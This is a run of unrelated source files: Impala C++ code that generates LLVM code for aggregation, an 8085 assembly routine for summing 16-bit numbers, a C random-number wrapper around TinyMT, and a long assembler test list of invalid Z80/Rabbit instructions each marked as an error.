Dst is NULL, just update dst slot to src slot and clear null bit Function* clear_null_fn = slot_desc->CodegenUpdateNull(codegen, tuple_struct, false); builder.CreateCall(clear_null_fn, agg_tuple_arg); } // Update the slot Value* dst_value = builder.CreateLoad(dst_ptr, "dst_val"); switch (evaluator->agg_op()) { case AggFnEvaluator::COUNT: result = builder.CreateAdd(dst_value, codegen->GetIntConstant(TYPE_BIGINT, 1), "count_inc"); break; case AggFnEvaluator::MIN: { Function* min_fn = codegen->CodegenMinMax(slot_desc->type(), true); Value* min_args[] = { dst_value, src_value }; result = builder.CreateCall(min_fn, min_args, "min_value"); break; } case AggFnEvaluator::MAX: { Function* max_fn = codegen->CodegenMinMax(slot_desc->type(), false); Value* max_args[] = { dst_value, src_value }; result = builder.CreateCall(max_fn, max_args, "max_value"); break; } case AggFnEvaluator::SUM: if (slot_desc->type().type == TYPE_FLOAT || slot_desc->type().type == TYPE_DOUBLE) { result = builder.CreateFAdd(dst_value, src_value); } else { result = builder.CreateAdd(dst_value, src_value); } break; case AggFnEvaluator::NDV: { DCHECK_EQ(slot_desc->type().type, TYPE_STRING); IRFunction::Type ir_function_type = is_merge_ ? IRFunction::HLL_MERGE : GetHllUpdateFunction(input_expr->type()); Function* hll_fn = codegen->GetFunction(ir_function_type); // Convert src_value to *Val src_anyval. src_value is the returned value of a // codegen'd expr compute function, so either is a native type or a StringVal*. CodegenAnyVal src_anyval = CodegenAnyVal::GetNonNullVal( codegen, &builder, input_expr->type(), "src_anyval"); if (src_value->getType()->isPointerTy()) { DCHECK_EQ(src_value->getType(), codegen->GetPtrType(TYPE_STRING)) << endl << LlvmCodeGen::Print(src_value); src_anyval.SetFromRawPtr(src_value); } else { src_anyval.SetFromRawValue(src_value); } // Create pointer to src_anyval to pass to HllUpdate() function. We must use the // unlowered type. Value* src_lowered_ptr = codegen->CreateEntryBlockAlloca( fn, LlvmCodeGen::NamedVariable("src_lowered_ptr", src_anyval.value()->getType())); builder.CreateStore(src_anyval.value(), src_lowered_ptr); Type* unlowered_ptr_type = CodegenAnyVal::GetUnloweredType(codegen, input_expr->type())->getPointerTo(); Value* src_unlowered_ptr = builder.CreateBitCast(src_lowered_ptr, unlowered_ptr_type, "src_unlowered_ptr"); // Create StringVal* intermediate argument from dst_value CodegenAnyVal dst_stringval = CodegenAnyVal::GetNonNullVal( codegen, &builder, TYPE_STRING, "dst_stringval"); dst_stringval.SetFromRawValue(dst_value); // Create pointer to dst_stringval to pass to HllUpdate() function. We must use // the unlowered type. Value* dst_lowered_ptr = codegen->CreateEntryBlockAlloca( fn, LlvmCodeGen::NamedVariable("dst_lowered_ptr", dst_stringval.value()->getType())); builder.CreateStore(dst_stringval.value(), dst_lowered_ptr); unlowered_ptr_type = codegen->GetPtrType(CodegenAnyVal::GetUnloweredType(codegen, TYPE_STRING)); Value* dst_unlowered_ptr = builder.CreateBitCast(dst_lowered_ptr, unlowered_ptr_type, "dst_unlowered_ptr"); // Call 'hll_fn' builder.CreateCall3(hll_fn, fn_ctx_arg, src_unlowered_ptr, dst_unlowered_ptr); // Convert StringVal intermediate 'dst_arg' back to StringValue Value* anyval_result = builder.CreateLoad(dst_lowered_ptr, "anyval_result"); result = CodegenAnyVal(codegen, &builder, TYPE_STRING, anyval_result) .ToRawValue(); break; } default: DCHECK(false) << "bad aggregate operator: " << evaluator->agg_op(); } builder.CreateStore(result, dst_ptr); builder.CreateBr(ret_block); builder.SetInsertPoint(ret_block); builder.CreateRetVoid(); return codegen->FinalizeFunction(fn); } // IR codegen for the UpdateAggTuple loop. This loop is query specific and // based on the aggregate functions. The function signature must match the non- // codegen'd UpdateAggTuple exactly. // For the query: // select count(*), count(int_col), sum(double_col) the IR looks like: // // define void @UpdateAggTuple(%"class.impala::AggregationNode"* %this_ptr, // %"class.impala::Tuple"* %agg_tuple, // %"class.impala::TupleRow"* %tuple_row) { // entry: // %tuple = bitcast %"class.impala::AggregationNode"* %agg_tuple to // { i8, i64, i64, double }* // %row = bitcast %"class.impala::TupleRow"* %tuple_row to i8** // %src_slot = getelementptr inbounds { i8, i64, i64, double }* %tuple, i32 0, i32 2 // %count_star_val = load i64* %src_slot // %count_star_inc = add i64 %count_star_val, 1 // store i64 %count_star_inc, i64* %src_slot // call void @UpdateSlot({ i8, i64, i64, double }* %tuple, i8** %row) // call void @UpdateSlot2({ i8, i64, i64, double }* %tuple, i8** %row) // ret void // } Function* AggregationNode::CodegenUpdateAggTuple(LlvmCodeGen* codegen) { SCOPED_TIMER(codegen->codegen_timer()); for (int i = 0; i < probe_exprs_.size(); ++i) { if (probe_exprs_[i]->codegen_fn() == NULL) { VLOG_QUERY << "Could not codegen UpdateAggTuple because " << "codegen for the grouping exprs is not yet supported."; return NULL; } } int j = probe_exprs_.size(); for (int i = 0; i < aggregate_evaluators_.size(); ++i, ++j) { // skip non-materialized slots; we don't have evaluators instantiated for those while (!agg_tuple_desc_->slots()[j]->is_materialized()) { DCHECK_LT(j, agg_tuple_desc_->slots().size() - 1); ++j; } SlotDescriptor* slot_desc = agg_tuple_desc_->slots()[j]; AggFnEvaluator* evaluator = aggregate_evaluators_[i]; // Timestamp and char are never supported. NDV supports decimal and string but no // other functions. // TODO: the other aggregate functions might work with decimal as-is if (slot_desc->type().type == TYPE_TIMESTAMP || slot_desc->type().type == TYPE_CHAR || (evaluator->agg_op() != AggFnEvaluator::NDV && (slot_desc->type().type == TYPE_DECIMAL || slot_desc->type().type == TYPE_STRING))) { VLOG_QUERY << "Could not codegen UpdateAggTuple because " << "string, char, timestamp and decimal are not yet supported."; return NULL; } // If the evaluator can't be generated, bail generating this function if (!evaluator->is_count_star() && evaluator->input_exprs()[0]->codegen_fn() == NULL) { VLOG_QUERY << "Could not codegen UpdateAggTuple because the " << "underlying exprs cannot be codegened."; return NULL; } // Don't codegen things that aren't builtins (for now) if (!evaluator->is_builtin()) return NULL; } if (agg_tuple_desc_->GenerateLlvmStruct(codegen) == NULL) { VLOG_QUERY << "Could not codegen UpdateAggTuple because we could" << "not generate a matching llvm struct for the result agg tuple."; return NULL; } // Get the types to match the UpdateAggTuple signature Type* agg_node_type = codegen->GetType(AggregationNode::LLVM_CLASS_NAME); Type* agg_tuple_type = codegen->GetType(Tuple::LLVM_CLASS_NAME); Type* tuple_row_type = codegen->GetType(TupleRow::LLVM_CLASS_NAME); DCHECK(agg_node_type != NULL); DCHECK(agg_tuple_type != NULL); DCHECK(tuple_row_type != NULL); PointerType* agg_node_ptr_type = PointerType::get(agg_node_type, 0); PointerType* agg_tuple_ptr_type = PointerType::get(agg_tuple_type, 0); PointerType* tuple_row_ptr_type = PointerType::get(tuple_row_type, 0); // The signature needs to match the non-codegen'd signature exactly. PointerType* ptr_type = codegen->ptr_type(); StructType* tuple_struct = agg_tuple_desc_->GenerateLlvmStruct(codegen); PointerType* tuple_ptr = PointerType::get(tuple_struct, 0); LlvmCodeGen::FnPrototype prototype(codegen, "UpdateAggTuple", codegen->void_type()); prototype.AddArgument(LlvmCodeGen::NamedVariable("this_ptr", agg_node_ptr_type)); prototype.AddArgument(LlvmCodeGen::NamedVariable("agg_tuple", agg_tuple_ptr_type)); prototype.AddArgument(LlvmCodeGen::NamedVariable("tuple_row", tuple_row_ptr_type)); LlvmCodeGen::LlvmBuilder builder(codegen->context()); Value* args[3]; Function* fn = prototype.GeneratePrototype(&builder, &args[0]); // Cast the parameter types to the internal llvm runtime types. args[1] = builder.CreateBitCast(args[1], tuple_ptr, "tuple"); args[2] = builder.CreateBitCast(args[2], PointerType::get(ptr_type, 0), "row"); // Loop over each expr and generate the IR for that slot. If the expr is not // count(*), generate a helper IR function to update the slot and call that. j = probe_exprs_.size(); for (int i = 0; i < aggregate_evaluators_.size(); ++i, ++j) { // skip non-materialized slots; we don't have evaluators instantiated for those while (!agg_tuple_desc_->slots()[j]->is_materialized()) { DCHECK_LT(j, agg_tuple_desc_->slots().size() - 1); ++j; } SlotDescriptor* slot_desc = agg_tuple_desc_->slots()[j]; AggFnEvaluator* evaluator = aggregate_evaluators_[i]; if (evaluator->is_count_star()) { // TODO: we should be able to hoist this up to the loop over the batch and just // increment the slot by the number of rows in the batch. int field_idx = slot_desc->field_idx(); Value* const_one = codegen->GetIntConstant(TYPE_BIGINT, 1); Value* slot_ptr = builder.CreateStructGEP(args[1], field_idx, "src_slot"); Value* slot_loaded = builder.CreateLoad(slot_ptr, "count_star_val"); Value* count_inc = builder.CreateAdd(slot_loaded, const_one, "count_star_inc"); builder.CreateStore(count_inc, slot_ptr); } else { Function* update_slot_fn = CodegenUpdateSlot(codegen, evaluator, slot_desc); if (update_slot_fn == NULL) return NULL; Value* fn_ctx_arg = codegen->CastPtrToLlvmPtr( codegen->GetPtrType(FunctionContextImpl::LLVM_FUNCTIONCONTEXT_NAME), evaluator->ctx()); builder.CreateCall3(update_slot_fn, fn_ctx_arg, args[1], args[2]); } } builder.CreateRetVoid(); // CodegenProcessRowBatch() does the final optimizations. return codegen->FinalizeFunction(fn); } Function* AggregationNode::CodegenProcessRowBatch( LlvmCodeGen* codegen, Function* update_tuple_fn) { SCOPED_TIMER(codegen->codegen_timer()); DCHECK(update_tuple_fn != NULL); // Get the cross compiled update row batch function IRFunction::Type ir_fn = (!probe_exprs_.empty() ? IRFunction::AGG_NODE_PROCESS_ROW_BATCH_WITH_GROUPING : IRFunction::AGG_NODE_PROCESS_ROW_BATCH_NO_GROUPING); Function* process_batch_fn = codegen->GetFunction(ir_fn); if (process_batch_fn == NULL) { LOG(ERROR) << "Could not find AggregationNode::ProcessRowBatch in module."; return NULL; } int replaced = 0; if (!probe_exprs_.empty()) { // Aggregation w/o grouping does not use a hash table. // Codegen for hash Function* hash_fn = hash_tbl_->CodegenHashCurrentRow(codegen); if (hash_fn == NULL) return NULL; // Codegen HashTable::Equals Function* equals_fn = hash_tbl_->CodegenEquals(codegen); if (equals_fn == NULL) return NULL; // Codegen for evaluating build rows Function* eval_build_row_fn = hash_tbl_->CodegenEvalTupleRow(codegen, true); if (eval_build_row_fn == NULL) return NULL; // Codegen for evaluating probe rows Function* eval_probe_row_fn = hash_tbl_->CodegenEvalTupleRow(codegen, false); if (eval_probe_row_fn == NULL) return NULL; // Replace call sites process_batch_fn = codegen->ReplaceCallSites(process_batch_fn, false, eval_build_row_fn, "EvalBuildRow", &replaced); DCHECK_EQ(replaced, 1); process_batch_fn = codegen->ReplaceCallSites(process_batch_fn, false, eval_probe_row_fn, "EvalProbeRow", &replaced); DCHECK_EQ(replaced, 1); process_batch_fn = codegen->ReplaceCallSites(process_batch_fn, false, hash_fn, "HashCurrentRow", &replaced); DCHECK_EQ(replaced, 2); process_batch_fn = codegen->ReplaceCallSites(process_batch_fn, false, equals_fn, "Equals", &replaced); DCHECK_EQ(replaced, 1); } process_batch_fn = codegen->ReplaceCallSites(process_batch_fn, false, update_tuple_fn, "UpdateAggTuple", &replaced); DCHECK_EQ(replaced, 1) << "One call site should be replaced."; DCHECK(process_batch_fn != NULL); return codegen->OptimizeFunctionWithExprs(process_batch_fn); } }
;Add N 16 bit numbers ;Input : 00A0H <- N ; 00A1H <- list start ;Output : 00B0H <- sum LXI H, 00A0H MOV C, M MVI B, 00H MVI D, 00H MVI E, 00H LOOP: INX H MOV A, M ADD E MOV E, A INX H MOV A, M ADC D MOV D, A MVI A, 00H ADC B MOV B, A DCR C JNZ LOOP STA 00B2H MOV A, D STA 00B1H MOV A, E STA 00B0H HLT
/* GR-1: random number generator(s) -- (C) Tasty Chips Electronics */ #include "random.h" // #include <time.h> /* Include 'Tiny Mersenne-Twister' 32-bit right here, since it's the only place we'll be using it. */ #include "../3rdparty/tinymt/tinymt32.c" static tinymt32_t s_genState; void initialize_random_generator() { const uint32_t seed = 0xbadf00d; tinymt32_init(&s_genState, seed); } float mt_randf() { return tinymt32_generate_floatOC(&s_genState); } uint32_t mt_randu32() { return tinymt32_generate_uint32(&s_genState); } int32_t mt_rand32() { return (int32_t) mt_randu32(); }
adc (ix) ; Error adc (ix+127) ; Error adc (ix-128) ; Error adc (iy) ; Error adc (iy+127) ; Error adc (iy-128) ; Error adc a', (hl) ; Error adc a', (ix) ; Error adc a', (ix+127) ; Error adc a', (ix-128) ; Error adc a', (iy) ; Error adc a', (iy+127) ; Error adc a', (iy-128) ; Error adc a', -128 ; Error adc a', 127 ; Error adc a', 255 ; Error adc a', a ; Error adc a', b ; Error adc a', c ; Error adc a', d ; Error adc a', e ; Error adc a', h ; Error adc a', l ; Error adc a, (ix) ; Error adc a, (ix+127) ; Error adc a, (ix-128) ; Error adc a, (iy) ; Error adc a, (iy+127) ; Error adc a, (iy-128) ; Error adc a, ixh ; Error adc a, ixl ; Error adc a, iyh ; Error adc a, iyl ; Error adc hl', bc ; Error adc hl', de ; Error adc hl', hl ; Error adc hl', sp ; Error adc ixh ; Error adc ixl ; Error adc iyh ; Error adc iyl ; Error add (ix) ; Error add (ix+127) ; Error add (ix-128) ; Error add (iy) ; Error add (iy+127) ; Error add (iy-128) ; Error add a', (hl) ; Error add a', (ix) ; Error add a', (ix+127) ; Error add a', (ix-128) ; Error add a', (iy) ; Error add a', (iy+127) ; Error add a', (iy-128) ; Error add a', -128 ; Error add a', 127 ; Error add a', 255 ; Error add a', a ; Error add a', b ; Error add a', c ; Error add a', d ; Error add a', e ; Error add a', h ; Error add a', l ; Error add a, (ix) ; Error add a, (ix+127) ; Error add a, (ix-128) ; Error add a, (iy) ; Error add a, (iy+127) ; Error add a, (iy-128) ; Error add a, ixh ; Error add a, ixl ; Error add a, iyh ; Error add a, iyl ; Error add hl', bc ; Error add hl', de ; Error add hl', hl ; Error add hl', sp ; Error add ix, bc ; Error add ix, de ; Error add ix, ix ; Error add ix, sp ; Error add ixh ; Error add ixl ; Error add iy, bc ; Error add iy, de ; Error add iy, iy ; Error add iy, sp ; Error add iyh ; Error add iyl ; Error add sp, -128 ; Error add sp, 127 ; Error adi hl, -128 ; Error adi hl, 127 ; Error adi hl, 255 ; Error adi sp, -128 ; Error adi sp, 127 ; Error adi sp, 255 ; Error altd adc (hl) ; Error altd adc (ix) ; Error altd adc (ix+127) ; Error altd adc (ix-128) ; Error altd adc (iy) ; Error altd adc (iy+127) ; Error altd adc (iy-128) ; Error altd adc -128 ; Error altd adc 127 ; Error altd adc 255 ; Error altd adc a ; Error altd adc a, (hl) ; Error altd adc a, (ix) ; Error altd adc a, (ix+127) ; Error altd adc a, (ix-128) ; Error altd adc a, (iy) ; Error altd adc a, (iy+127) ; Error altd adc a, (iy-128) ; Error altd adc a, -128 ; Error altd adc a, 127 ; Error altd adc a, 255 ; Error altd adc a, a ; Error altd adc a, b ; Error altd adc a, c ; Error altd adc a, d ; Error altd adc a, e ; Error altd adc a, h ; Error altd adc a, l ; Error altd adc b ; Error altd adc c ; Error altd adc d ; Error altd adc e ; Error altd adc h ; Error altd adc hl, bc ; Error altd adc hl, de ; Error altd adc hl, hl ; Error altd adc hl, sp ; Error altd adc l ; Error altd adc m ; Error altd add (hl) ; Error altd add (ix) ; Error altd add (ix+127) ; Error altd add (ix-128) ; Error altd add (iy) ; Error altd add (iy+127) ; Error altd add (iy-128) ; Error altd add -128 ; Error altd add 127 ; Error altd add 255 ; Error altd add a ; Error altd add a, (hl) ; Error altd add a, (ix) ; Error altd add a, (ix+127) ; Error altd add a, (ix-128) ; Error altd add a, (iy) ; Error altd add a, (iy+127) ; Error altd add a, (iy-128) ; Error altd add a, -128 ; Error altd add a, 127 ; Error altd add a, 255 ; Error altd add a, a ; Error altd add a, b ; Error altd add a, c ; Error altd add a, d ; Error altd add a, e ; Error altd add a, h ; Error altd add a, l ; Error altd add b ; Error altd add c ; Error altd add d ; Error altd add e ; Error altd add h ; Error altd add hl, bc ; Error altd add hl, de ; Error altd add hl, hl ; Error altd add hl, sp ; Error altd add l ; Error altd add m ; Error altd and (hl) ; Error altd and (ix) ; Error altd and (ix+127) ; Error altd and (ix-128) ; Error altd and (iy) ; Error altd and (iy+127) ; Error altd and (iy-128) ; Error altd and -128 ; Error altd and 127 ; Error altd and 255 ; Error altd and a ; Error altd and a, (hl) ; Error altd and a, (ix) ; Error altd and a, (ix+127) ; Error altd and a, (ix-128) ; Error altd and a, (iy) ; Error altd and a, (iy+127) ; Error altd and a, (iy-128) ; Error altd and a, -128 ; Error altd and a, 127 ; Error altd and a, 255 ; Error altd and a, a ; Error altd and a, b ; Error altd and a, c ; Error altd and a, d ; Error altd and a, e ; Error altd and a, h ; Error altd and a, l ; Error altd and b ; Error altd and c ; Error altd and d ; Error altd and e ; Error altd and h ; Error altd and hl, de ; Error altd and ix, de ; Error altd and iy, de ; Error altd and l ; Error altd bit -1, (hl) ; Error altd bit -1, (hl) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy-128) ; Error altd bit -1, (iy-128) ; Error altd bit -1, a ; Error altd bit -1, a ; Error altd bit -1, b ; Error altd bit -1, b ; Error altd bit -1, c ; Error altd bit -1, c ; Error altd bit -1, d ; Error altd bit -1, d ; Error altd bit -1, e ; Error altd bit -1, e ; Error altd bit -1, h ; Error altd bit -1, h ; Error altd bit -1, l ; Error altd bit -1, l ; Error altd bit 0, (hl) ; Error altd bit 0, (ix) ; Error altd bit 0, (ix+127) ; Error altd bit 0, (ix-128) ; Error altd bit 0, (iy) ; Error altd bit 0, (iy+127) ; Error altd bit 0, (iy-128) ; Error altd bit 0, a ; Error altd bit 0, b ; Error altd bit 0, c ; Error altd bit 0, d ; Error altd bit 0, e ; Error altd bit 0, h ; Error altd bit 0, l ; Error altd bit 1, (hl) ; Error altd bit 1, (ix) ; Error altd bit 1, (ix+127) ; Error altd bit 1, (ix-128) ; Error altd bit 1, (iy) ; Error altd bit 1, (iy+127) ; Error altd bit 1, (iy-128) ; Error altd bit 1, a ; Error altd bit 1, b ; Error altd bit 1, c ; Error altd bit 1, d ; Error altd bit 1, e ; Error altd bit 1, h ; Error altd bit 1, l ; Error altd bit 2, (hl) ; Error altd bit 2, (ix) ; Error altd bit 2, (ix+127) ; Error altd bit 2, (ix-128) ; Error altd bit 2, (iy) ; Error altd bit 2, (iy+127) ; Error altd bit 2, (iy-128) ; Error altd bit 2, a ; Error altd bit 2, b ; Error altd bit 2, c ; Error altd bit 2, d ; Error altd bit 2, e ; Error altd bit 2, h ; Error altd bit 2, l ; Error altd bit 3, (hl) ; Error altd bit 3, (ix) ; Error altd bit 3, (ix+127) ; Error altd bit 3, (ix-128) ; Error altd bit 3, (iy) ; Error altd bit 3, (iy+127) ; Error altd bit 3, (iy-128) ; Error altd bit 3, a ; Error altd bit 3, b ; Error altd bit 3, c ; Error altd bit 3, d ; Error altd bit 3, e ; Error altd bit 3, h ; Error altd bit 3, l ; Error altd bit 4, (hl) ; Error altd bit 4, (ix) ; Error altd bit 4, (ix+127) ; Error altd bit 4, (ix-128) ; Error altd bit 4, (iy) ; Error altd bit 4, (iy+127) ; Error altd bit 4, (iy-128) ; Error altd bit 4, a ; Error altd bit 4, b ; Error altd bit 4, c ; Error altd bit 4, d ; Error altd bit 4, e ; Error altd bit 4, h ; Error altd bit 4, l ; Error altd bit 5, (hl) ; Error altd bit 5, (ix) ; Error altd bit 5, (ix+127) ; Error altd bit 5, (ix-128) ; Error altd bit 5, (iy) ; Error altd bit 5, (iy+127) ; Error altd bit 5, (iy-128) ; Error altd bit 5, a ; Error altd bit 5, b ; Error altd bit 5, c ; Error altd bit 5, d ; Error altd bit 5, e ; Error altd bit 5, h ; Error altd bit 5, l ; Error altd bit 6, (hl) ; Error altd bit 6, (ix) ; Error altd bit 6, (ix+127) ; Error altd bit 6, (ix-128) ; Error altd bit 6, (iy) ; Error altd bit 6, (iy+127) ; Error altd bit 6, (iy-128) ; Error altd bit 6, a ; Error altd bit 6, b ; Error altd bit 6, c ; Error altd bit 6, d ; Error altd bit 6, e ; Error altd bit 6, h ; Error altd bit 6, l ; Error altd bit 7, (hl) ; Error altd bit 7, (ix) ; Error altd bit 7, (ix+127) ; Error altd bit 7, (ix-128) ; Error altd bit 7, (iy) ; Error altd bit 7, (iy+127) ; Error altd bit 7, (iy-128) ; Error altd bit 7, a ; Error altd bit 7, b ; Error altd bit 7, c ; Error altd bit 7, d ; Error altd bit 7, e ; Error altd bit 7, h ; Error altd bit 7, l ; Error altd bit 8, (hl) ; Error altd bit 8, (hl) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy-128) ; Error altd bit 8, (iy-128) ; Error altd bit 8, a ; Error altd bit 8, a ; Error altd bit 8, b ; Error altd bit 8, b ; Error altd bit 8, c ; Error altd bit 8, c ; Error altd bit 8, d ; Error altd bit 8, d ; Error altd bit 8, e ; Error altd bit 8, e ; Error altd bit 8, h ; Error altd bit 8, h ; Error altd bit 8, l ; Error altd bit 8, l ; Error altd bool hl ; Error altd bool ix ; Error altd bool iy ; Error altd ccf ; Error altd cp (hl) ; Error altd cp (ix) ; Error altd cp (ix+127) ; Error altd cp (ix-128) ; Error altd cp (iy) ; Error altd cp (iy+127) ; Error altd cp (iy-128) ; Error altd cp -128 ; Error altd cp 127 ; Error altd cp 255 ; Error altd cp a ; Error altd cp a, (hl) ; Error altd cp a, (ix) ; Error altd cp a, (ix+127) ; Error altd cp a, (ix-128) ; Error altd cp a, (iy) ; Error altd cp a, (iy+127) ; Error altd cp a, (iy-128) ; Error altd cp a, -128 ; Error altd cp a, 127 ; Error altd cp a, 255 ; Error altd cp a, a ; Error altd cp a, b ; Error altd cp a, c ; Error altd cp a, d ; Error altd cp a, e ; Error altd cp a, h ; Error altd cp a, l ; Error altd cp b ; Error altd cp c ; Error altd cp d ; Error altd cp e ; Error altd cp h ; Error altd cp l ; Error altd cpl ; Error altd cpl a ; Error altd dec (hl) ; Error altd dec (ix) ; Error altd dec (ix+127) ; Error altd dec (ix-128) ; Error altd dec (iy) ; Error altd dec (iy+127) ; Error altd dec (iy-128) ; Error altd dec a ; Error altd dec b ; Error altd dec bc ; Error altd dec c ; Error altd dec d ; Error altd dec de ; Error altd dec e ; Error altd dec h ; Error altd dec hl ; Error altd dec l ; Error altd djnz ASMPC ; Error altd djnz b, ASMPC ; Error altd ex (sp), hl ; Error altd ex de', hl ; Error altd ex de, hl ; Error altd inc (hl) ; Error altd inc (ix) ; Error altd inc (ix+127) ; Error altd inc (ix-128) ; Error altd inc (iy) ; Error altd inc (iy+127) ; Error altd inc (iy-128) ; Error altd inc a ; Error altd inc b ; Error altd inc bc ; Error altd inc c ; Error altd inc d ; Error altd inc de ; Error altd inc e ; Error altd inc h ; Error altd inc hl ; Error altd inc l ; Error altd ioe adc (hl) ; Error altd ioe adc (ix) ; Error altd ioe adc (ix+127) ; Error altd ioe adc (ix-128) ; Error altd ioe adc (iy) ; Error altd ioe adc (iy+127) ; Error altd ioe adc (iy-128) ; Error altd ioe adc a, (hl) ; Error altd ioe adc a, (ix) ; Error altd ioe adc a, (ix+127) ; Error altd ioe adc a, (ix-128) ; Error altd ioe adc a, (iy) ; Error altd ioe adc a, (iy+127) ; Error altd ioe adc a, (iy-128) ; Error altd ioe add (hl) ; Error altd ioe add (ix) ; Error altd ioe add (ix+127) ; Error altd ioe add (ix-128) ; Error altd ioe add (iy) ; Error altd ioe add (iy+127) ; Error altd ioe add (iy-128) ; Error altd ioe add a, (hl) ; Error altd ioe add a, (ix) ; Error altd ioe add a, (ix+127) ; Error altd ioe add a, (ix-128) ; Error altd ioe add a, (iy) ; Error altd ioe add a, (iy+127) ; Error altd ioe add a, (iy-128) ; Error altd ioe and (hl) ; Error altd ioe and (ix) ; Error altd ioe and (ix+127) ; Error altd ioe and (ix-128) ; Error altd ioe and (iy) ; Error altd ioe and (iy+127) ; Error altd ioe and (iy-128) ; Error altd ioe and a, (hl) ; Error altd ioe and a, (ix) ; Error altd ioe and a, (ix+127) ; Error altd ioe and a, (ix-128) ; Error altd ioe and a, (iy) ; Error altd ioe and a, (iy+127) ; Error altd ioe and a, (iy-128) ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit 0, (hl) ; Error altd ioe bit 0, (ix) ; Error altd ioe bit 0, (ix+127) ; Error altd ioe bit 0, (ix-128) ; Error altd ioe bit 0, (iy) ; Error altd ioe bit 0, (iy+127) ; Error altd ioe bit 0, (iy-128) ; Error altd ioe bit 1, (hl) ; Error altd ioe bit 1, (ix) ; Error altd ioe bit 1, (ix+127) ; Error altd ioe bit 1, (ix-128) ; Error altd ioe bit 1, (iy) ; Error altd ioe bit 1, (iy+127) ; Error altd ioe bit 1, (iy-128) ; Error altd ioe bit 2, (hl) ; Error altd ioe bit 2, (ix) ; Error altd ioe bit 2, (ix+127) ; Error altd ioe bit 2, (ix-128) ; Error altd ioe bit 2, (iy) ; Error altd ioe bit 2, (iy+127) ; Error altd ioe bit 2, (iy-128) ; Error altd ioe bit 3, (hl) ; Error altd ioe bit 3, (ix) ; Error altd ioe bit 3, (ix+127) ; Error altd ioe bit 3, (ix-128) ; Error altd ioe bit 3, (iy) ; Error altd ioe bit 3, (iy+127) ; Error altd ioe bit 3, (iy-128) ; Error altd ioe bit 4, (hl) ; Error altd ioe bit 4, (ix) ; Error altd ioe bit 4, (ix+127) ; Error altd ioe bit 4, (ix-128) ; Error altd ioe bit 4, (iy) ; Error altd ioe bit 4, (iy+127) ; Error altd ioe bit 4, (iy-128) ; Error altd ioe bit 5, (hl) ; Error altd ioe bit 5, (ix) ; Error altd ioe bit 5, (ix+127) ; Error altd ioe bit 5, (ix-128) ; Error altd ioe bit 5, (iy) ; Error altd ioe bit 5, (iy+127) ; Error altd ioe bit 5, (iy-128) ; Error altd ioe bit 6, (hl) ; Error altd ioe bit 6, (ix) ; Error altd ioe bit 6, (ix+127) ; Error altd ioe bit 6, (ix-128) ; Error altd ioe bit 6, (iy) ; Error altd ioe bit 6, (iy+127) ; Error altd ioe bit 6, (iy-128) ; Error altd ioe bit 7, (hl) ; Error altd ioe bit 7, (ix) ; Error altd ioe bit 7, (ix+127) ; Error altd ioe bit 7, (ix-128) ; Error altd ioe bit 7, (iy) ; Error altd ioe bit 7, (iy+127) ; Error altd ioe bit 7, (iy-128) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy-128) ; Error altd ioe bit 8, (iy-128) ; Error altd ioe cp (hl) ; Error altd ioe cp (ix) ; Error altd ioe cp (ix+127) ; Error altd ioe cp (ix-128) ; Error altd ioe cp (iy) ; Error altd ioe cp (iy+127) ; Error altd ioe cp (iy-128) ; Error altd ioe cp a, (hl) ; Error altd ioe cp a, (ix) ; Error altd ioe cp a, (ix+127) ; Error altd ioe cp a, (ix-128) ; Error altd ioe cp a, (iy) ; Error altd ioe cp a, (iy+127) ; Error altd ioe cp a, (iy-128) ; Error altd ioe dec (hl) ; Error altd ioe dec (ix) ; Error altd ioe dec (ix+127) ; Error altd ioe dec (ix-128) ; Error altd ioe dec (iy) ; Error altd ioe dec (iy+127) ; Error altd ioe dec (iy-128) ; Error altd ioe inc (hl) ; Error altd ioe inc (ix) ; Error altd ioe inc (ix+127) ; Error altd ioe inc (ix-128) ; Error altd ioe inc (iy) ; Error altd ioe inc (iy+127) ; Error altd ioe inc (iy-128) ; Error altd ioe ld a, (-32768) ; Error altd ioe ld a, (32767) ; Error altd ioe ld a, (65535) ; Error altd ioe ld a, (bc) ; Error altd ioe ld a, (bc+) ; Error altd ioe ld a, (bc-) ; Error altd ioe ld a, (de) ; Error altd ioe ld a, (de+) ; Error altd ioe ld a, (de-) ; Error altd ioe ld a, (hl) ; Error altd ioe ld a, (hl+) ; Error altd ioe ld a, (hl-) ; Error altd ioe ld a, (hld) ; Error altd ioe ld a, (hli) ; Error altd ioe ld a, (ix) ; Error altd ioe ld a, (ix+127) ; Error altd ioe ld a, (ix-128) ; Error altd ioe ld a, (iy) ; Error altd ioe ld a, (iy+127) ; Error altd ioe ld a, (iy-128) ; Error altd ioe ld b, (hl) ; Error altd ioe ld b, (ix) ; Error altd ioe ld b, (ix+127) ; Error altd ioe ld b, (ix-128) ; Error altd ioe ld b, (iy) ; Error altd ioe ld b, (iy+127) ; Error altd ioe ld b, (iy-128) ; Error altd ioe ld bc, (-32768) ; Error altd ioe ld bc, (32767) ; Error altd ioe ld bc, (65535) ; Error altd ioe ld c, (hl) ; Error altd ioe ld c, (ix) ; 